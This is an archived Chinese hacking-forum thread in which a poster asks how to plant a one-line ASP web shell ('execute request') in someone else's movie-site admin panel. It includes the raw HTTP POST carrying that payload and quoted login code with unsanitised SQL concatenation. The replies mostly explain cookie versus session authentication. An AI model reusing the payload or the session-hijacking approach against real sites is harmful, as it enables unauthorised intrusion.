邪恶八进制信息安全团队技术讨论组's Archiver

12345xxx 2006-5-23 11:35

[讨论]关于Cookie的问题

议题作者:12345xxx
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
原始连接:[url]http://bbs.77169.org/read-htm-tid-149769.html[/url]

对方用的是一个整站
知道数据库扩展名为 .asp (密码MD5 查不到..)想在数据库插人一句话.
拿自己的电脑做实验 只有成功登陆后台的Cookie才能用NC提交.但是登陆后的Cookie本身没什么改变. 哪位师傅帮我讲一下Cookie的原理怎么实现的?

这是我的提交包
[quote]POST /admin/admin_gg.asp?ggt=gg HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: [url]http://10.10.10.10/admin/admin_gg.asp[/url]
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar)
Host: 10.10.10.10
Content-Length: 90
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSQATRABQ=MJCLJLIAHOLEFAPAKLNNKEJI;

gs=swf&src=%3C%25execute+request%28&address=%23&endtime=2005-3-10&kt=1&Submit=%D0%DE%B8%C4[/quote]


[quote]Cookie: ASPSESSIONIDSQATRABQ=MJCLJLIAHOLEFAPAKLNNKEJI;[/quote]
这行是登陆后的Cookie
如果这个Cookie我没在正确登入后台的话.NC提交无效.

他的整站源码是这个
[url]http://www.mycodes.net/soft/2744.htm[/url]
非常简单的电影系统.还有一个上传不需要登陆的.可是提交不上....
在华夏黑基的论坛都没人帮我.是我的问题太简单了还是太难了?不解...

netpatch 2006-5-24 00:25

[s:34] 这 应该是session认证吧???

neeao 2006-5-24 00:40

上网无聊,帮你分析一下他的后台登陆验证方式吧!
登陆验证文件(删除一些无关紧要内容)chk.asp:
[code]
<%
dim action
action=trim(request("action"))
if action="logout" then
  session("aid")=""
  response.redirect "../index.asp"
end if
dim name,pwd,code1,checkcode
call iperror()
&#39;获取表单登陆信息
name=trim(request("name"))
pwd=MD5(trim(request("pwd")))
code1=replace(trim(request("code")),"&#39;","‘")
checkcode=replace(trim(request.cookies("look")("code")),"&#39;","‘")

if name="" or trim(request("pwd"))="" then
  response.redirect "../error.asp"
end if
if not code1=checkcode then
  response.write "<script language=JavaScript>{window.alert(&#39;附加码错误,请重新输入!&#39;);window.history.go(-1);}</script>"
  response.end
end if

set rs=conn.execute("select id from [admin] where name=&#39;"&name&"&#39; and pwd=&#39;"&pwd&"&#39;")
if rs.eof and rs.bof then
  response.write "<script language=JavaScript>{window.alert(&#39;您输入的用户名或密码错误,请重新输入!&#39;);window.history.go(-1);}</script>"
  response.end  
else
//登陆成功,执行下面内容
  session("aid")=rs(0)  //生成一个session
  session.timeout=90
  response.cookies("look")("code")=""
  conn.execute("update [admin] set hits=hits+1,sctime=lasttime,lasttime=Now() where id="&rs(0))
  response.redirect "admin.asp"
end if
rs.close
set rs=nothing
call cclose
%>[/code]

从上面代码来看,应该是通过session来做为判断是否登陆的依据的,

看识别登陆的文件(关键代码)top1.asp:
[code]
dim id,adminname,loginname,rs
id=trim(session("aid"))   //通过session获取变量参数

set rs=conn.execute("select name,fullname from [admin] where id="&id)
if rs.eof and rs.bof then
  response.redirect "index.asp"  //如果数据库中记录为空就是没有这个用户,转向“index.asp”
else
  loginname=rs(0)
  adminname=rs(1)
end if
rs.close
set rs=nothing[/code]
可以肯定是通过session来判断的!
至于cookies和session的你可以从google里找到很多内容!







%>

12345xxx 2006-5-24 08:00

感谢前辈分析.猛查资料中...

看了资料. [quote]Session的值却是保存在服务器端.[/quote]
难道Session除非在有限权修改ASP文件的情况下 才能Session欺骗吗?

难道没有其他利用办法了吗

虫虫 2006-5-24 13:24

ASP里:
cookie的值和session是一一对应的。
你用别人的cookie代替你的cookie,在asp中你的session就是别人的session了。

12345xxx 2006-5-24 15:10

谢谢楼上的分析.又学到点. 但是我感觉我目标源码是不是先session认证 然后在判断cookie有没有效呢?

我自己想的.呵呵各位师傅别见笑..

jackyzgc 2006-5-24 21:51

[s:81] Cookies保存在本机,Session是一个会话.保存在服务端.所以楼主想什么所谓session欺骗那是不可能的事情...提交cookies是才可以欺骗...

12345xxx 2006-5-25 08:45

知道了.谢谢.
我那个源码是不是没有cookies欺骗的地方.
这贴让我知道session和Cookies的区别. 谢谢大家

losstangel 2006-6-3 01:23

hoho 难道不能session欺骗?6楼的兄弟 说的太绝对了吧 他这种情况可能不能实现Session欺骗 但其他的情况是可能的 虫虫说的我就不懂了 呵呵
如果他加入了session的验证 好象cookie欺骗就没有什么太大的意义了吧!
都是小弟的愚建 有很多错误 千万别笑  [s:58]

mmtzwyd 2009-4-14 20:40

session和cookie实现机制本质上是相同的。

皇子 2009-4-17 16:15

cookies是存在的 不过没有作为登陆判断的依据罢了
这个你应该欺骗不过去

session("aid")=""
  response.redirect "../index.asp"

写的很明白了

Zetifree 2009-6-11 18:31

商业网站都没强人的啊,华夏黑基那种垃圾地方,必是没人帮你的。有技术含量的建议先来邪八!:lol:

页: [1]
© 1999-2008 EvilOctal Security Team